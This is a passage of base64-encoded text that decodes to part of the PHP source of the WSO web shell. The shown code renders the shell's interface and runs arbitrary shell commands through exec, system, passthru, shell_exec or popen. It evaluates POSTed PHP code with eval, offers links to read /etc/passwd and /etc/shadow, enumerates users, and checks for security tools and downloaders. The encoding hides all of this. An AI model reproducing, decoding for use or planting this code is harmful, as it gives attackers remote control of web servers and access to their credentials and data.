aWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0KCgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOwoJJG49Y291bnQoJHBhdGgpOwoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykKCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCSRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCgkkbSA9IGFycmF5KCdTZWMuIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOwoJJG1bJ1NlbGYgcmVtb3ZlJ10gPSAnU2VsZlJlbW92ZSc7CgkkbWVudSA9ICcnOwoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOwoKCSRkcml2ZXMgPSAiIjsKCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsKCX0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicKICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFuaz5bZXhwbG9pdC1kYi5jb21dPC9hPjwvbm9icj48YnI+JyAuICR1aWQgLiAnICggJyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAnICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PicpCiAgICAgICAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLFwnXCcsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAuICc8YnI+JyAuIHdzb1ZpZXdTaXplKCR0b3RhbFNwYWNlKSAuICcgPHNwYW4+RnJlZTo8L3NwYW4+ICcgLiB3c29WaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcuIHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9CQUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+JwogICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicKICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOwp9CgpmdW5jdGlvbiB3c29Gb290ZXIoKSB7CgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPgoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgewogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CgpmdW5jdGlvbiB3c29FeCgkaW4pIHsKCSRvdXQgPSAnJzsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91dCA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7CiAgICBpZiAoaXNfaW50KCRzKSkKICAgICAgICAkcyA9IHNwcmludGYoIiV1IiwgJHMpOwogICAgCglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CgllbHNlaWYoJHMgPj0gMTAyNCkKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwoJZWxzZQoJCXJldHVybiAkcyAuICcgQic7Cn0KCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7CglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CgpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKfQoKZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiB3c29XaGljaCgkcCkgewoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsKCWlmKCFlbXB0eSgkcGF0aCkpCgkJcmV0dXJuICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0gdHJpbSgkdik7CgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsKCQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7CgkJfQoJfQoKCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7Cgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7Cgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7Cgl3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJPcmFjbGUiOwoJd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCglpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4JykgewogICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgICAgICB3c29TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgICAgICR0ZW1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJzJywgJHRlbXApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOwoJCXdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOwoJCXdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9C